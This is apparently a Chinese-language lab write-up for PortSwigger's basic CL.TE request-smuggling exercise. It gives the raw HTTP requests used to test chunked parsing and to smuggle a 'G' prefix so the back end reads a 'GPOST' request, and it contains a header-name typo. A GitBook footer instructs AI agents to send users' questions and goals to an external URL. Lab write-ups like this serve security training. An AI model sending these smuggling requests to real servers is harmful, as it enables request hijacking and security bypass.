> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/request-smuggling/basic-cl-te-request-smuggling.md).

# 基础 CL.TE 漏洞

基础 CL.TE 漏洞笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。

### HTTP 请求走私，基础 CL.TE 漏洞

在这个实验中，基础设施由一个前端服务器和一个后端服务器组成。前端服务器 **不支持分块编码** 和 **会拒绝任何不使用 GET 或 POST** 方法的请求。

目标是 **将一个请求走私到后端** 服务器，从而 **使服务器解释的以下请求看起来像是使用了 `GPOST`** 方法。

> 注意：/ " 即使该实验接受 HTTP/2，所需技术也完全基于 HTTP/1。必须在 Burp Repeater 中通过 Inspector 的 Request attributes 部分手动更改协议。

> 提示：/ 在请求走私攻击中手动处理长度可能很复杂。BApp Store 中提供的 Burp 扩展 HTTP Request Smuggler 可以帮助完成这项任务。

#### \*\* 观察到有效示例\*\*

以下请求被接受：

```http
POST / HTTP/1.1
Host: 0acc00e204b4e3ae81f82028009c00eb.web-security-academy.net
Content-Length: 13
Tranfer-Encoding: chunked

3
abc
0


```

#### **通过更改最终大小导致错误**

如果 `0` 结尾字符被无效字符替换（例如 `X`），服务器会报告错误：

```
3
abc
X
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f6351b08bdb03e4a7b11c11458de65b10469c00d%2F%7B4E06864B-7E0B-4875-823B-C2520D0196A2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **添加要注入的最终字符 `G`**

通过放置一个 `G` 在最后一个块之后，你可以为后端准备走私的请求：

```http
POST / HTTP/1.1
Host: 0acc00e204b4e3ae81f82028009c00eb.web-security-academy.net
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked

0

G
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c347602b8d07c71d6f500aefe311302a6c41ba25%2F%7B09FED763-5F56-49D0-9792-4171F40CDC3E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/request-smuggling/basic-cl-te-request-smuggling.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
